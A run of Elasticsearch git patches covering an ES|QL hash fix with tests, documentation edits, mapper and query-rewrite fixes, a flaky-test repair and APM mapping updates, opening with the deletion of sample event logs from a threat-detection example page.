-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "@timestamp": 131883573237450016,
-              "dll": {
-                "path": "C:\\Windows\\System32\\scrobj.dll",
-                "name": "scrobj.dll"
-              },
-              "event": {
-                "category": "library"
-              }
-            }
-          },
-          {
-            "_index": ".ds-my-data-stream-2099.12.07-000001",
-            "_id": "EF5MJXMBMk1dGnErnBa9",
-            "_source": {
-              "process": {
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "@timestamp": 131883573238680000,
-              "destination": {
-                "address": "151.101.48.133",
-                "port": "443"
-              },
-              "source": {
-                "address": "192.168.162.134",
-                "port": "50505"
-              },
-              "event": {
-                "category": "network"
-              },
-              "user": {
-                "full_name": "bob",
-                "domain": "ART-DESKTOP",
-                "id": "ART-DESKTOP\\bob"
-              },
-              "network": {
-                "protocol": "tcp",
-                "direction": "outbound"
-              }
-            }
-          }
-        ]
-      }
-    ]
-  }
-}
-```
-
diff --git a/docs/reference/query-languages/toc.yml b/docs/reference/query-languages/toc.yml
index 861435ccdc8cf..31bead277f05f 100644
--- a/docs/reference/query-languages/toc.yml
+++ b/docs/reference/query-languages/toc.yml
@@ -158,5 +158,4 @@ toc:
       - file: eql/eql-syntax.md
       - file: eql/eql-function-ref.md
       - file: eql/eql-pipe-ref.md
-      - file: eql/eql-ex-threat-detection.md
   - file: kql.md

From e5c9da03f7c44d2b04be5ec2a59b382b62a29768 Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Wed, 9 Jul 2025 13:36:47 +0200
Subject: [PATCH 101/299] ES|QL: Fix BytesRef2BlockHash (#130705) (#130897)

---
 docs/changelog/130705.yaml                    |   5 +
 .../blockhash/BytesRef2BlockHash.java         |   4 +-
 .../aggregation/blockhash/BlockHashTests.java | 193 +++++++++++++++++-
 3 files changed, 200 insertions(+), 2 deletions(-)
 create mode 100644 docs/changelog/130705.yaml

diff --git a/docs/changelog/130705.yaml b/docs/changelog/130705.yaml
new file mode 100644
index 0000000000000..a43edd7f21b82
--- /dev/null
+++ b/docs/changelog/130705.yaml
@@ -0,0 +1,5 @@
+pr: 130705
+summary: Fix `BytesRef2BlockHash`
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/blockhash/BytesRef2BlockHash.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/blockhash/BytesRef2BlockHash.java
index ff25aa1381004..963fd1a3a870f 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/blockhash/BytesRef2BlockHash.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/blockhash/BytesRef2BlockHash.java
@@ -145,7 +145,9 @@ public Block[] getKeys() {
         try {
             try (BytesRefBlock.Builder b1 = blockFactory.newBytesRefBlockBuilder(positions)) {
                 for (int i = 0; i < positions; i++) {
-                    int k1 = (int) (finalHash.get(i) & 0xffffL);
+                    int k1 = (int) (finalHash.get(i) & 0xffffffffL);
+                    // k1 is always positive, it's how hash values are generated, see BytesRefBlockHash.
+                    // For now, we only manage at most 2^31 hash entries
                     if (k1 == 0) {
                         b1.appendNull();
                     } else {
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/blockhash/BlockHashTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/blockhash/BlockHashTests.java
index 3ff3be5086ad4..be97055eb9a7e 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/blockhash/BlockHashTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/blockhash/BlockHashTests.java
@@ -11,6 +11,7 @@
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
 import org.apache.lucene.util.BytesRef;
+import org.elasticsearch.common.lucene.BytesRefs;
 import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.compute.aggregation.GroupingAggregatorFunction;
 import org.elasticsearch.compute.data.Block;
@@ -35,8 +36,10 @@
 import org.elasticsearch.xpack.esql.core.util.Holder;
 
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
+import java.util.Set;
 import java.util.function.Consumer;
 import java.util.stream.IntStream;
 import java.util.stream.LongStream;
@@ -1232,6 +1235,194 @@ public void testLongNull() {
         }, blockFactory.newLongArrayVector(values, values.length).asBlock(), blockFactory.newConstantNullBlock(values.length));
     }
 
+    public void test2BytesRefsHighCardinalityKey() {
+        final Page page;
+        int positions1 = 10;
+        int positions2 = 100_000;
+        if (randomBoolean()) {
+            positions1 = 100_000;
+            positions2 = 10;
+        }
+        final int totalPositions = positions1 * positions2;
+        try (
+            BytesRefBlock.Builder builder1 = blockFactory.newBytesRefBlockBuilder(totalPositions);
+            BytesRefBlock.Builder builder2 = blockFactory.newBytesRefBlockBuilder(totalPositions);
+        ) {
+            for (int i = 0; i < positions1; i++) {
+                for (int p = 0; p < positions2; p++) {
+                    builder1.appendBytesRef(new BytesRef("abcdef" + i));
+                    builder2.appendBytesRef(new BytesRef("abcdef" + p));
+                }
+            }
+            page = new Page(builder1.build(), builder2.build());
+        }
+        record Output(int offset, IntBlock block, IntVector vector) implements Releasable {
+            @Override
+            public void close() {
+                Releasables.close(block, vector);
+            }
+        }
+        List<Output> output = new ArrayList<>();
+
+        try (BlockHash hash1 = new BytesRef2BlockHash(blockFactory, 0, 1, totalPositions);) {
+            hash1.add(page, new GroupingAggregatorFunction.AddInput() {
+                @Override
+                public void add(int positionOffset, IntArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntBigArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntVector groupIds) {
+                    groupIds.incRef();
+                    output.add(new Output(positionOffset, null, groupIds));
+                }
+
+                @Override
+                public void close() {
+                    fail("hashes should not close AddInput");
+                }
+            });
+
+            Block[] keys = hash1.getKeys();
+            try {
+                Set<String> distinctKeys = new HashSet<>();
+                BytesRefBlock block0 = (BytesRefBlock) keys[0];
+                BytesRefBlock block1 = (BytesRefBlock) keys[1];
+                BytesRef scratch = new BytesRef();
+                StringBuilder builder = new StringBuilder();
+                for (int i = 0; i < totalPositions; i++) {
+                    builder.setLength(0);
+                    builder.append(BytesRefs.toString(block0.getBytesRef(i, scratch)));
+                    builder.append("#");
+                    builder.append(BytesRefs.toString(block1.getBytesRef(i, scratch)));
+                    distinctKeys.add(builder.toString());
+                }
+                assertThat(distinctKeys.size(), equalTo(totalPositions));
+            } finally {
+                Releasables.close(keys);
+            }
+        } finally {
+            Releasables.close(output);
+            page.releaseBlocks();
+        }
+    }
+
+    public void test2BytesRefs() {
+        final Page page;
+        final int positions = randomIntBetween(1, 1000);
+        final boolean generateVector = randomBoolean();
+        try (
+            BytesRefBlock.Builder builder1 = blockFactory.newBytesRefBlockBuilder(positions);
+            BytesRefBlock.Builder builder2 = blockFactory.newBytesRefBlockBuilder(positions);
+        ) {
+            List<BytesRefBlock.Builder> builders = List.of(builder1, builder2);
+            for (int p = 0; p < positions; p++) {
+                for (BytesRefBlock.Builder builder : builders) {
+                    int valueCount = generateVector ? 1 : between(0, 3);
+                    switch (valueCount) {
+                        case 0 -> builder.appendNull();
+                        case 1 -> builder.appendBytesRef(new BytesRef(Integer.toString(between(1, 100))));
+                        default -> {
+                            builder.beginPositionEntry();
+                            for (int v = 0; v < valueCount; v++) {
+                                builder.appendBytesRef(new BytesRef(Integer.toString(between(1, 100))));
+                            }
+                            builder.endPositionEntry();
+                        }
+                    }
+                }
+            }
+            page = new Page(builder1.build(), builder2.build());
+        }
+        final int emitBatchSize = between(positions, 10 * 1024);
+        var groupSpecs = List.of(new BlockHash.GroupSpec(0, ElementType.BYTES_REF), new BlockHash.GroupSpec(1, ElementType.BYTES_REF));
+        record Output(int offset, IntBlock block, IntVector vector) implements Releasable {
+            @Override
+            public void close() {
+                Releasables.close(block, vector);
+            }
+        }
+        List<Output> output1 = new ArrayList<>();
+        List<Output> output2 = new ArrayList<>();
+        try (
+            BlockHash hash1 = new BytesRef2BlockHash(blockFactory, 0, 1, emitBatchSize);
+            BlockHash hash2 = new PackedValuesBlockHash(groupSpecs, blockFactory, emitBatchSize)
+        ) {
+            hash1.add(page, new GroupingAggregatorFunction.AddInput() {
+                @Override
+                public void add(int positionOffset, IntArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output1.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntBigArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output1.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntVector groupIds) {
+                    groupIds.incRef();
+                    output1.add(new Output(positionOffset, null, groupIds));
+                }
+
+                @Override
+                public void close() {
+                    fail("hashes should not close AddInput");
+                }
+            });
+            hash2.add(page, new GroupingAggregatorFunction.AddInput() {
+                @Override
+                public void add(int positionOffset, IntArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output2.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntBigArrayBlock groupIds) {
+                    groupIds.incRef();
+                    output2.add(new Output(positionOffset, groupIds, null));
+                }
+
+                @Override
+                public void add(int positionOffset, IntVector groupIds) {
+                    groupIds.incRef();
+                    output2.add(new Output(positionOffset, null, groupIds));
+                }
+
+                @Override
+                public void close() {
+                    fail("hashes should not close AddInput");
+                }
+            });
+            assertThat(output1.size(), equalTo(output2.size()));
+            for (int i = 0; i < output1.size(); i++) {
+                Output o1 = output1.get(i);
+                Output o2 = output2.get(i);
+                assertThat(o1.offset, equalTo(o2.offset));
+                if (o1.vector != null) {
+                    assertNull(o1.block);
+                    assertThat(o1.vector, equalTo(o2.vector != null ? o2.vector : o2.block.asVector()));
+                } else {
+                    assertNull(o2.vector);
+                    assertThat(o1.block, equalTo(o2.block));
+                }
+            }
+        } finally {
+            Releasables.close(output1);
+            Releasables.close(output2);
+            page.releaseBlocks();
+        }
+    }
+
     public void test3BytesRefs() {
         final Page page;
         final int positions = randomIntBetween(1, 1000);
@@ -1326,7 +1517,7 @@ public void close() {
                     fail("hashes should not close AddInput");
                 }
             });
-            assertThat(output1.size(), equalTo(output1.size()));
+            assertThat(output1.size(), equalTo(output2.size()));
             for (int i = 0; i < output1.size(); i++) {
                 Output o1 = output1.get(i);
                 Output o2 = output2.get(i);

From 7c165aa38733e05d5efb2df4170d533577e5d49e Mon Sep 17 00:00:00 2001
From: Mike Pellegrini <mike.pellegrini@elastic.co>
Date: Wed, 9 Jul 2025 08:36:43 -0400
Subject: [PATCH 102/299] Simplified Linear and RRF Retrievers Docs - Add Links
 to Examples (#130837) (#130911)

---
 docs/reference/elasticsearch/rest-apis/retrievers.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docs/reference/elasticsearch/rest-apis/retrievers.md b/docs/reference/elasticsearch/rest-apis/retrievers.md
index 38ec1da415dc6..01472c45ff2f8 100644
--- a/docs/reference/elasticsearch/rest-apis/retrievers.md
+++ b/docs/reference/elasticsearch/rest-apis/retrievers.md
@@ -1200,8 +1200,8 @@ Note, however, that wildcard field patterns will only resolve to fields that eit
 
 ### Examples
 
-<!-- - [RRF with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format) -->
-<!-- - [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format) -->
+- [RRF with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format)
+- [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format)
 
 ## Common usage guidelines [retriever-common-parameters]
 

From f585f6880ba60c17bfdcace7cdc183c85fe7a87b Mon Sep 17 00:00:00 2001
From: Martijn van Groningen <martijn.v.groningen@gmail.com>
Date: Wed, 9 Jul 2025 15:45:47 +0200
Subject: [PATCH 103/299] Change match_only_text's value fetcher to use
 `SortedBinaryDocValues` instead of interacting with doc values api directly.
 (#130895)

Backporting #130854 to 9.1 branch.

This pulls #130845 into the serverless fix branch for patch deployment.  Original description:

Change match_only_text's value fetcher to use SortedBinaryDocValues instead of interacting with doc values api directly.

This way, via field data abstraction, the right doc values type is used, and the right conversions happen. Values of all field types will get converted to strings.

Co-authored-by: Mark Tozzi <mark.tozzi@gmail.com>
---
 .../extras/MatchOnlyTextFieldMapper.java      |  23 +--
 .../test/logsdb/20_synthetic_source.yml       | 149 ++++++++++++++++++
 2 files changed, 162 insertions(+), 10 deletions(-)
 create mode 100644 x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/logsdb/20_synthetic_source.yml

diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index bb9babc14c1bb..04ace5ccc4157 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -14,7 +14,6 @@
 import org.apache.lucene.document.Field;
 import org.apache.lucene.document.FieldType;
 import org.apache.lucene.document.StoredField;
-import org.apache.lucene.index.DocValues;
 import org.apache.lucene.index.IndexOptions;
 import org.apache.lucene.index.LeafReaderContext;
 import org.apache.lucene.index.Term;
@@ -48,6 +47,7 @@
 import org.elasticsearch.index.mapper.BlockStoredFieldsReader;
 import org.elasticsearch.index.mapper.DocumentParserContext;
 import org.elasticsearch.index.mapper.FieldMapper;
+import org.elasticsearch.index.mapper.MappedFieldType;
 import org.elasticsearch.index.mapper.MapperBuilderContext;
 import org.elasticsearch.index.mapper.SourceValueFetcher;
 import org.elasticsearch.index.mapper.StringFieldType;
@@ -254,7 +254,8 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
                 if (parent.isStored()) {
                     return storedFieldFetcher(parentField);
                 } else if (parent.hasDocValues()) {
-                    return docValuesFieldFetcher(parentField);
+                    var ifd = searchExecutionContext.getForField(parent, MappedFieldType.FielddataOperation.SEARCH);
+                    return docValuesFieldFetcher(ifd);
                 } else {
                     assert false : "parent field should either be stored or have doc values";
                 }
@@ -266,7 +267,8 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
                     if (fieldType.isStored()) {
                         return storedFieldFetcher(fieldType.name());
                     } else if (fieldType.hasDocValues()) {
-                        return docValuesFieldFetcher(fieldType.name());
+                        var ifd = searchExecutionContext.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
+                        return docValuesFieldFetcher(ifd);
                     } else {
                         assert false : "multi field should either be stored or have doc values";
                     }
@@ -291,15 +293,16 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
             };
         }
 
-        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> docValuesFieldFetcher(String name) {
+        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> docValuesFieldFetcher(
+            IndexFieldData<?> ifd
+        ) {
             return context -> {
-                var sortedDocValues = DocValues.getSortedSet(context.reader(), name);
+                var sortedBinaryDocValues = ifd.load(context).getBytesValues();
                 return docId -> {
-                    if (sortedDocValues.advanceExact(docId)) {
-                        var values = new ArrayList<>(sortedDocValues.docValueCount());
-                        for (int i = 0; i < sortedDocValues.docValueCount(); i++) {
-                            long ord = sortedDocValues.nextOrd();
-                            values.add(sortedDocValues.lookupOrd(ord).utf8ToString());
+                    if (sortedBinaryDocValues.advanceExact(docId)) {
+                        var values = new ArrayList<>(sortedBinaryDocValues.docValueCount());
+                        for (int i = 0; i < sortedBinaryDocValues.docValueCount(); i++) {
+                            values.add(sortedBinaryDocValues.nextValue().utf8ToString());
                         }
                         return values;
                     } else {
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/logsdb/20_synthetic_source.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/logsdb/20_synthetic_source.yml
new file mode 100644
index 0000000000000..0a56c6d74215c
--- /dev/null
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/logsdb/20_synthetic_source.yml
@@ -0,0 +1,149 @@
+---
+synthetic_source match_only_text with wildcard as parent field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: wildcard
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
+---
+synthetic_source match_only_text with number as parent field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: long
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: [1, 5]
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: 1 5
+
+  - match: { "hits.total.value": 0 }
+
+  - do:
+      indices.create:
+        index: stored_source_test
+        body:
+          mappings:
+            properties:
+              foo:
+                type: long
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: stored_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: [1, 5]
+
+  - do:
+      search:
+        index: stored_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: 1 5
+
+  - match: { "hits.total.value": 0 }
+
+---
+synthetic_source match_only_text with scaled_float as parent field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: scaled_float
+                scaling_factor: 10
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: [1.1, 5.5]
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: 1.1 5.5
+
+  - match: { "hits.total.value": 0 }

From 455bff1dfd06a65a6216cd23a7fe9933a69ae608 Mon Sep 17 00:00:00 2001
From: Mike Pellegrini <mike.pellegrini@elastic.co>
Date: Wed, 9 Jul 2025 10:09:03 -0400
Subject: [PATCH 104/299] Fix Sparse Vector Query Interceptor Double Filtering
 (#130829) (#130867)

Co-authored-by: Elastic Machine <elasticmachine@users.noreply.github.com>
---
 .../SemanticSparseVectorQueryRewriteInterceptor.java       | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
index a35e83450c55a..21feb21fbc2e5 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
@@ -79,12 +79,7 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
         Map<String, List<String>> inferenceIdsIndices = indexInformation.getInferenceIdsIndices();
 
         BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();
-        boolQueryBuilder.should(
-            createSubQueryForIndices(
-                indexInformation.nonInferenceIndices(),
-                createSubQueryForIndices(indexInformation.nonInferenceIndices(), sparseVectorQueryBuilder)
-            )
-        );
+        boolQueryBuilder.should(createSubQueryForIndices(indexInformation.nonInferenceIndices(), sparseVectorQueryBuilder));
         // We always perform nested subqueries on semantic_text fields, to support
         // sparse_vector queries using query vectors.
         for (String inferenceId : inferenceIdsIndices.keySet()) {

From defd392a5c3959b88b5f8f86f1e92b478df6e88a Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Wed, 9 Jul 2025 18:23:41 +0400
Subject: [PATCH 105/299] Add watcher YAML REST tests to restResourcesZip
 (#130805) (#130922)

---
 x-pack/rest-resources-zip/build.gradle | 1 +
 1 file changed, 1 insertion(+)

diff --git a/x-pack/rest-resources-zip/build.gradle b/x-pack/rest-resources-zip/build.gradle
index 9f7dcc4b26c05..9307b6a8a51d4 100644
--- a/x-pack/rest-resources-zip/build.gradle
+++ b/x-pack/rest-resources-zip/build.gradle
@@ -29,6 +29,7 @@ dependencies {
   platinumTests project(path: ':x-pack:plugin:eql:qa:rest', configuration: 'restXpackTests')
   platinumTests project(path: ':x-pack:plugin:ent-search', configuration: 'restXpackTests')
   platinumTests project(path: ':x-pack:plugin:inference', configuration: 'restXpackTests')
+  platinumTests project(path: ':x-pack:plugin:watcher:qa:rest', configuration: 'restXpackTests')
   platinumCompatTests project(path: ':x-pack:plugin', configuration: 'restCompatTests')
   platinumCompatTests project(path: ':x-pack:plugin:eql:qa:rest', configuration: 'restCompatTests')
 }

From 7798f6cb1420a6a1982456d1624a57a5cba960eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Wed, 9 Jul 2025 17:07:29 +0200
Subject: [PATCH 106/299] Aggs: Fix Filters agg cancellation flaky test
 (#130810) (#130904)

Fixes https://github.com/elastic/elasticsearch/issues/130770

Both a bigger thread pool and not draining the semaphore permits were leading to failing tests sometimes because of blocked threads (Too many threads searching would end up draining all permits in parallel, and getting stuck).

The test was added in https://github.com/elastic/elasticsearch/pull/130452
---
 .../bucket/FiltersCancellationIT.java         | 36 ++++++++++++++-----
 1 file changed, 28 insertions(+), 8 deletions(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java b/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java
index 76948bad7fccb..1ef832c57ce2f 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/search/aggregations/bucket/FiltersCancellationIT.java
@@ -28,6 +28,7 @@
 import org.elasticsearch.test.ESIntegTestCase;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.json.JsonXContent;
+import org.junit.Before;
 
 import java.util.Collection;
 import java.util.List;
@@ -39,9 +40,22 @@
 import static org.elasticsearch.search.aggregations.AggregationBuilders.filters;
 import static org.elasticsearch.search.aggregations.AggregationBuilders.terms;
 import static org.hamcrest.Matchers.empty;
+import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.not;
 
+/**
+ * Ensures the filters aggregation checks task cancellation, by ensuring it doesn't process all the docs.
+ * <p>
+ *   The CancellableBulkScorer we use to break the execution is called per search thread in the query.
+ *   It currently breaks the "for each doc" into blocks of 4096 docs (x2 every iteration), and checks for cancellation between blocks.
+ *   This test creates N docs and releases N - X permits, to ensure the search request gets cancelled before grabbing all the permits.
+ * </p>
+ * <p>
+ *   Also, if the search thread pool size is too high, it can lead to them trying to process too many documents anyway (pool size * 4096),
+ *   eventually blocking the threads (And failing the test). So it's explicitly set to a small number to avoid this.
+ * </p>
+ */
 @ESIntegTestCase.SuiteScopeTestCase
 public class FiltersCancellationIT extends ESIntegTestCase {
 
@@ -55,11 +69,12 @@ public class FiltersCancellationIT extends ESIntegTestCase {
 
     @Override
     protected Collection<Class<? extends Plugin>> nodePlugins() {
-        return CollectionUtils.appendToCopy(super.nodePlugins(), pausableFieldPluginClass());
+        return CollectionUtils.appendToCopy(super.nodePlugins(), PauseScriptPlugin.class);
     }
 
-    protected Class<? extends Plugin> pausableFieldPluginClass() {
-        return PauseScriptPlugin.class;
+    @Override
+    public Settings nodeSettings(int nodeOrdinal, Settings otherSettings) {
+        return Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)).put("thread_pool.search.size", 4).build();
     }
 
     @Override
@@ -99,6 +114,11 @@ public void setupSuiteScopeCluster() throws Exception {
         client().admin().indices().prepareForceMerge(INDEX).setMaxNumSegments(1).get();
     }
 
+    @Before
+    public void reset() {
+        SCRIPT_SEMAPHORE.drainPermits();
+    }
+
     public void testFiltersCountCancellation() throws Exception {
         ensureProperCancellation(
             client().prepareSearch(INDEX)
@@ -129,14 +149,14 @@ public void testFiltersSubAggsCancellation() throws Exception {
 
     private void ensureProperCancellation(SearchRequestBuilder searchRequestBuilder) throws Exception {
         var searchRequestFuture = searchRequestBuilder.setTimeout(TimeValue.timeValueSeconds(1)).execute();
-        assertFalse(searchRequestFuture.isCancelled());
-        assertFalse(searchRequestFuture.isDone());
+        assertThat(searchRequestFuture.isCancelled(), equalTo(false));
+        assertThat(searchRequestFuture.isDone(), equalTo(false));
 
         // Check that there are search tasks running
         assertThat(getSearchTasks(), not(empty()));
 
         // Wait for the script field to get blocked
-        assertBusy(() -> { assertThat(SCRIPT_SEMAPHORE.getQueueLength(), greaterThan(0)); });
+        assertBusy(() -> assertThat(SCRIPT_SEMAPHORE.getQueueLength(), greaterThan(0)));
 
         // Cancel the tasks
         // Warning: Adding a waitForCompletion(true)/execute() here sometimes causes tasks to not get canceled and threads to get stuck
@@ -146,8 +166,8 @@ private void ensureProperCancellation(SearchRequestBuilder searchRequestBuilder)
 
         // Ensure the search request finished and that there are no more search tasks
         assertBusy(() -> {
-            assertTrue(searchRequestFuture.isDone());
-            assertThat(getSearchTasks(), empty());
+            assertThat("Search request didn't finish", searchRequestFuture.isDone(), equalTo(true));
+            assertThat("There are dangling search tasks", getSearchTasks(), empty());
         });
     }
 

From 65b551bd7ad757ec49e8d248539817a63708ff2d Mon Sep 17 00:00:00 2001
From: kruskall <99559985+kruskall@users.noreply.github.com>
Date: Wed, 9 Jul 2025 17:19:16 +0200
Subject: [PATCH 107/299] [9.1] fix: enable date_detection for all apm data
 streams (#130910)

* Update apm@mappings.yaml

* Update resources.yaml

* fix: explicitly map system.process.cpu.start_time to date

* Update apm@mappings.yaml

* Update metrics-apm@mappings.yaml

* Update apm@mappings.yaml
---
 .../src/main/resources/component-templates/apm@mappings.yaml    | 1 +
 .../resources/component-templates/metrics-apm@mappings.yaml     | 2 ++
 x-pack/plugin/apm-data/src/main/resources/resources.yaml        | 2 +-
 3 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/x-pack/plugin/apm-data/src/main/resources/component-templates/apm@mappings.yaml b/x-pack/plugin/apm-data/src/main/resources/component-templates/apm@mappings.yaml
index ac6462c86676c..a5a3a7433f4c1 100644
--- a/x-pack/plugin/apm-data/src/main/resources/component-templates/apm@mappings.yaml
+++ b/x-pack/plugin/apm-data/src/main/resources/component-templates/apm@mappings.yaml
@@ -4,6 +4,7 @@ _meta:
   managed: true
 template:
   mappings:
+    date_detection: false
     dynamic: true
     dynamic_templates:
     - numeric_labels:
diff --git a/x-pack/plugin/apm-data/src/main/resources/component-templates/metrics-apm@mappings.yaml b/x-pack/plugin/apm-data/src/main/resources/component-templates/metrics-apm@mappings.yaml
index 660db3a6b0e2e..3f7b41ea7903c 100644
--- a/x-pack/plugin/apm-data/src/main/resources/component-templates/metrics-apm@mappings.yaml
+++ b/x-pack/plugin/apm-data/src/main/resources/component-templates/metrics-apm@mappings.yaml
@@ -6,6 +6,8 @@ _meta:
 template:
   mappings:
     properties:
+      system.process.cpu.start_time:
+        type: date
       processor.event:
         type: constant_keyword
         value: metric
diff --git a/x-pack/plugin/apm-data/src/main/resources/resources.yaml b/x-pack/plugin/apm-data/src/main/resources/resources.yaml
index 70a612a5a0005..70675f1dd10d6 100644
--- a/x-pack/plugin/apm-data/src/main/resources/resources.yaml
+++ b/x-pack/plugin/apm-data/src/main/resources/resources.yaml
@@ -1,7 +1,7 @@
 # "version" holds the version of the templates and ingest pipelines installed
 # by xpack-plugin apm-data. This must be increased whenever an existing template or
 # pipeline is changed, in order for it to be updated on Elasticsearch upgrade.
-version: 100
+version: 101
 
 component-templates:
   # Data lifecycle.

From 5be2308764a1b04fce3d06f976d1f8cb165b26eb Mon Sep 17 00:00:00 2001
From: Mark Vieira <portugee@gmail.com>
Date: Wed, 9 Jul 2025 09:35:00 -0700
Subject: [PATCH 108/299] Migrate and consolidate x-pack-async-search REST
 tests (#130832) (#130932)

---
 x-pack/plugin/async-search/build.gradle       | 24 ++++++++----
